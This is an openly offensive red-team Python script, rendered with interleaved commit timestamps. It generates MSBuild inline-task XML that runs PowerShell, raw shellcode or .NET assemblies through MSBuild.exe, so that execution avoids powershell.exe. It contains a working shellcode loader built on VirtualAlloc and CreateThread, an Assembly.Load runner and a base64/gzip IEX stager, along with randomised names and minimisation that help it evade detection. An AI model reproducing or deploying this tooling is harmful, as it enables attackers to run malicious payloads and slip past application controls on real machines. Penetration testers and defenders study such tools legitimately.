2018-02-02 22:22:43 +01:00
#!/usr/bin/python3
#
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
2020-04-30 21:31:12 +02:00
#
2018-02-02 22:22:43 +01:00
# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
2020-04-30 21:31:12 +02:00
# or
# %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
2018-02-02 22:22:43 +01:00
#
2020-04-30 21:31:12 +02:00
# This script can embed following data within constructed CSharp Task:
# - Powershell code
# - raw Shellcode in a separate thread via CreateThread
# - .NET Assembly via Assembly.Load
2018-02-02 22:22:43 +01:00
#
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
#
import re
2020-04-30 21:31:12 +02:00
import os
2018-02-02 22:22:43 +01:00
import io
import sys
import gzip
import base64
import string
import struct
import random
2020-04-30 21:31:12 +02:00
import binascii
2018-02-02 22:22:43 +01:00
import argparse
def getCompressedPayload ( filePath ) :
out = io . BytesIO ( )
encoded = ' '
with open ( filePath , ' rb ' ) as f :
inp = f . read ( )
with gzip . GzipFile ( fileobj = out , mode = ' w ' ) as fo :
fo . write ( inp )
encoded = base64 . b64encode ( out . getvalue ( ) )
powershell = " $s = New-Object IO.MemoryStream(, [Convert]::FromBase64String( ' {} ' )); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); " . format (
encoded . decode ( )
)
return powershell
2020-04-30 21:31:12 +02:00
def getInlineTask ( payload , _format ) :
2018-02-02 22:22:43 +01:00
templateName = ' ' . join ( random . choice ( string . ascii_letters ) for x in range ( random . randint ( 5 , 15 ) ) )
taskName = ' ' . join ( random . choice ( string . ascii_letters ) for x in range ( random . randint ( 5 , 15 ) ) )
2020-04-30 21:31:12 +02:00
launchCode = ' '
if _format == ' exe ' :
exeLaunchCode = string . Template ( ''' <ParameterGroup/>
< Task >
< Using Namespace = " System " / >
< Using Namespace = " System.Reflection " / >
< Code Type = " Fragment " Language = " cs " >
< ! [ CDATA [
string payload = " $payload2 " ;
byte [ ] decoded = System . Convert . FromBase64String ( payload ) ;
Assembly asm = Assembly . Load ( decoded ) ;
MethodInfo method = asm . EntryPoint ;
object instance = asm . CreateInstance ( method . Name ) ;
method . Invoke ( instance , null ) ;
] ] >
< / Code > ''' ).safe_substitute(
payload2 = base64 . b64encode ( payload . encode ( ) ) . decode ( )
)
launchCode = exeLaunchCode
elif _format == ' raw ' :
foo = str ( binascii . hexlify ( payload ) , ' ascii ' )
fooarr = [ ' 0x {} ' . format ( foo [ i : i + 2 ] ) for i in range ( 0 , len ( foo ) , 2 ) ]
encodedPayload = ' '
for i in range ( len ( fooarr ) ) :
if i % 32 == 0 and i > 0 :
encodedPayload + = ' \n '
encodedPayload + = ' {} , ' . format ( fooarr [ i ] )
encodedPayload = encodedPayload . strip ( ) [ : - 1 ]
shellcodeLoader = string . Template ( ''' <Task>
< Reference Include = " System.Management.Automation " / >
< Code Type = " Class " Language = " cs " >
< ! [ CDATA [
using System . Management . Automation ;
using System . Management . Automation . Runspaces ;
using Microsoft . Build . Framework ;
using Microsoft . Build . Utilities ;
using System ;
using System . Diagnostics ;
using System . Reflection ;
using System . Runtime . InteropServices ;
public class $ templateName : Task {
[ DllImport ( " kernel32 " ) ]
private static extern IntPtr VirtualAlloc ( IntPtr lpAddress , UIntPtr dwSize , UInt32 flAllocationType , UInt32 flProtect ) ;
[ DllImport ( " kernel32 " ) ]
private static extern bool VirtualFree ( IntPtr lpAddress , UInt32 dwSize , UInt32 dwFreeType ) ;
[ DllImport ( " kernel32 " ) ]
private static extern IntPtr CreateThread ( UInt32 lpThreadAttributes , UInt32 dwStackSize , IntPtr lpStartAddress , IntPtr param , UInt32 dwCreationFlags , ref UInt32 lpThreadId ) ;
[ DllImport ( " kernel32 " ) ]
private static extern bool CloseHandle ( IntPtr hHandle ) ;
[ DllImport ( " kernel32 " ) ]
private static extern UInt32 WaitForSingleObject ( IntPtr hHandle , UInt32 dwMilliseconds ) ;
private static UInt32 MEM_COMMIT = 0x1000 ;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40 ;
private static UInt32 MEM_RELEASE = 0x8000 ;
public override bool Execute ( ) {
byte [ ] payload = new byte [ $ payloadSize ] {
$ payload2
} ;
IntPtr funcAddr = VirtualAlloc ( IntPtr . Zero , ( UIntPtr ) payload . Length , MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ;
Marshal . Copy ( payload , 0 , funcAddr , payload . Length ) ;
IntPtr hThread = IntPtr . Zero ;
UInt32 threadId = 0 ;
hThread = CreateThread ( 0 , 0 , funcAddr , IntPtr . Zero , 0 , ref threadId ) ;
WaitForSingleObject ( hThread , 0xFFFFFFFF ) ;
CloseHandle ( hThread ) ;
VirtualFree ( funcAddr , 0 , MEM_RELEASE ) ;
return true ;
}
}
] ] >
< / Code > ''' ).safe_substitute(
templateName = templateName ,
payload2 = encodedPayload ,
payloadSize = len ( payload )
)
launchCode = shellcodeLoader
else :
powershellLaunchCode = string . Template ( ''' <Task>
2018-02-02 22:22:43 +01:00
< Reference Include = " System.Management.Automation " / >
< Code Type = " Class " Language = " cs " >
< ! [ CDATA [
using System . Management . Automation ;
using System . Management . Automation . Runspaces ;
using Microsoft . Build . Framework ;
using Microsoft . Build . Utilities ;
public class $ templateName : Task {
public override bool Execute ( ) {
byte [ ] payload = System . Convert . FromBase64String ( " $payload2 " ) ;
string decoded = System . Text . Encoding . UTF8 . GetString ( payload ) ;
Runspace runspace = RunspaceFactory . CreateRunspace ( ) ;
runspace . Open ( ) ;
Pipeline pipeline = runspace . CreatePipeline ( ) ;
pipeline . Commands . AddScript ( decoded ) ;
pipeline . Invoke ( ) ;
runspace . Close ( ) ;
return true ;
}
}
] ] >
< / Code > ''' ).safe_substitute(
2020-04-30 21:31:12 +02:00
templateName = templateName ,
payload2 = base64 . b64encode ( payload . encode ( ) ) . decode ( )
)
2018-02-02 22:22:43 +01:00
2020-04-30 21:31:12 +02:00
launchCode = powershellLaunchCode
2018-02-02 22:22:43 +01:00
template = string . Template ( ''' <Project xmlns= " http://schemas.microsoft.com/developer/msbuild/2003 " >
2020-04-30 21:31:12 +02:00
< ! - - Based on Casey Smith work , Twitter : @subTee - - >
< ! - - Automatically generated using ` generateMSBuildXML . py ` utility - - >
< ! - - by Mariusz B . / mgeeky < mb @binary - offensive . com > - - >
2018-02-02 22:22:43 +01:00
< Target Name = " $taskName " >
< $ templateName / >
< / Target >
< UsingTask TaskName = " $templateName " TaskFactory = " CodeTaskFactory "
AssemblyFile = " C: \\ Windows \\ Microsoft.Net \\ Framework \\ v4.0.30319 \\ Microsoft.Build.Tasks.v4.0.dll " >
$ launchCode
< / Task >
< / UsingTask >
< / Project > ''' ).safe_substitute(
taskName = taskName ,
templateName = templateName ,
launchCode = launchCode
)
return template
def detectFileIsExe ( filePath , forced = False ) :
first1000 = [ ]
with open ( filePath , ' rb ' ) as f :
first1000 = f . read ( ) [ : 1000 ]
if not ( first1000 [ 0 ] == ' M ' and first1000 [ 1 ] == ' Z ' ) :
return False
elfanew = struct . unpack ( ' <H ' , first1000 [ 0x3c : 0x3c + 2 ] ) [ 0 ]
if not ( first1000 [ elfanew + 0 ] == ' P ' and first1000 [ elfanew + 1 ] == ' E ' ) :
return False
dosStub = " This program cannot be run in DOS mode. "
printables = ' ' . join ( [ x for x in first1000 [ 0x40 : ] if x in string . printable ] )
#if not dosStub in printables:
# return False
2020-04-30 21:31:12 +02:00
return True
2018-02-02 22:22:43 +01:00
def minimize ( output ) :
output = re . sub ( r ' \ s* \ < \ ! \ - \ - .* \ - \ - \ > \ s* \ n ' , ' ' , output )
output = output . replace ( ' \n ' , ' ' )
output = re . sub ( r ' \ s { 2,} ' , ' ' , output )
output = re . sub ( r ' \ s+([^ \ w]) \ s+ ' , r ' \ 1 ' , output )
output = re . sub ( r ' ([^ \ w " ]) \ s+ ' , r ' \ 1 ' , output )
variables = {
' payload ' : ' x ' ,
' method ' : ' m ' ,
' asm ' : ' a ' ,
' instance ' : ' o ' ,
' pipeline ' : ' p ' ,
' runspace ' : ' r ' ,
2020-04-30 21:31:12 +02:00
' decoded ' : ' d ' ,
' MEM_COMMIT ' : ' c1 ' ,
' PAGE_EXECUTE_READWRITE ' : ' c2 ' ,
' MEM_RELEASE ' : ' c3 ' ,
' funcAddr ' : ' v1 ' ,
' hThread ' : ' v2 ' ,
' threadId ' : ' v3 ' ,
' lpAddress ' : ' p1 ' ,
' dwSize ' : ' p2 ' ,
' flAllocationType ' : ' p3 ' ,
' flProtect ' : ' p4 ' ,
' dwFreeType ' : ' p5 ' ,
' lpThreadAttributes ' : ' p6 ' ,
' dwStackSize ' : ' p7 ' ,
' lpStartAddress ' : ' p8 ' ,
' param ' : ' p9 ' ,
' dwCreationFlags ' : ' p10 ' ,
' lpThreadId ' : ' p11 ' ,
' dwMilliseconds ' : ' p12 ' ,
' hHandle ' : ' p13 ' ,
2018-02-02 22:22:43 +01:00
}
for k , v in variables . items ( ) :
output = output . replace ( k , v )
return output
def opts ( argv ) :
parser = argparse . ArgumentParser ( prog = argv [ 0 ] , usage = ' %(prog)s [options] <inputFile> ' )
2020-04-30 22:54:36 +02:00
parser . add_argument ( ' inputFile ' , help = ' Input file to be encoded within XML. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file. ' )
2018-02-02 22:22:43 +01:00
parser . add_argument ( ' -m ' , ' --minimize ' , action = ' store_true ' , help = ' Minimize the output XML file. ' )
parser . add_argument ( ' -b ' , ' --encode ' , action = ' store_true ' , help = ' Base64 encode output XML file. ' )
2020-04-30 21:31:12 +02:00
parser . add_argument ( ' -e ' , ' --exe ' , action = ' store_true ' , help = ' Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE! ' )
parser . add_argument ( ' -r ' , ' --raw ' , action = ' store_true ' , help = ' Specified input file is a raw Shellcode to be injected in self process in a separate Thread. ' )
2018-02-02 22:22:43 +01:00
args = parser . parse_args ( )
2020-04-30 21:31:12 +02:00
if args . exe and args . raw :
sys . stderr . write ( ' [!] --exe and --raw options are mutually exclusive! \n ' )
sys . exit ( - 1 )
2018-02-02 22:22:43 +01:00
return args
def main ( argv ) :
sys . stderr . write ( '''
: : Powershell via MSBuild inline - task XML payload generation script
To be used during Red - Team assignments to launch Powershell payloads without using ' powershell.exe '
Mariusz B . / mgeeky , < mb @binary - offensive . com >
''' )
if len ( argv ) < 2 :
2020-04-30 22:54:36 +02:00
print ( ' Usage: ./generateMSBuildXML.py <inputFile> ' )
2018-02-02 22:22:43 +01:00
sys . exit ( - 1 )
args = opts ( argv )
2020-04-30 21:31:12 +02:00
_format = ' powershell '
2018-02-02 22:22:43 +01:00
2020-04-30 21:31:12 +02:00
if args . exe :
if not detectFileIsExe ( args . inputFile , args . exe ) :
sys . stderr . write ( ' [?] File not recognized as PE/EXE. \n \n ' )
return False
_format = ' exe '
2018-02-02 22:22:43 +01:00
sys . stderr . write ( ' [?] File recognized as PE/EXE. \n \n ' )
with open ( args . inputFile , ' rb ' ) as f :
payload = f . read ( )
2020-04-30 21:31:12 +02:00
elif args . raw :
_format = ' raw '
sys . stderr . write ( ' [?] File specified as raw Shellcode. \n \n ' )
with open ( args . inputFile , ' rb ' ) as f :
payload = f . read ( )
2018-02-02 22:22:43 +01:00
else :
sys . stderr . write ( ' [?] File not recognized as PE/EXE. \n \n ' )
if args . inputFile . endswith ( ' .exe ' ) :
return False
payload = getCompressedPayload ( args . inputFile )
2020-04-30 21:31:12 +02:00
output = getInlineTask ( payload , _format )
2018-02-02 22:22:43 +01:00
if args . minimize :
output = minimize ( output )
if args . encode :
print ( base64 . b64encode ( output ) )
else :
print ( output )
2020-04-30 21:31:12 +02:00
msbuildPath = r ' % WINDIR % \ Microsoft.NET \ Framework \ v4.0.30319 \ MSBuild.exe '
if ' PROGRAMFILES(X86) ' in os . environ :
msbuildPath = r ' % WINDIR % \ Microsoft.NET \ Framework64 \ v4.0.30319 \ MSBuild.exe '
sys . stderr . write ( '''
== == == == == == == == == == == == == == == == == == =
Execute this XML file like so :
{ } file . xml
''' .format(msbuildPath))
2018-02-02 22:22:43 +01:00
if __name__ == ' __main__ ' :
main ( sys . argv )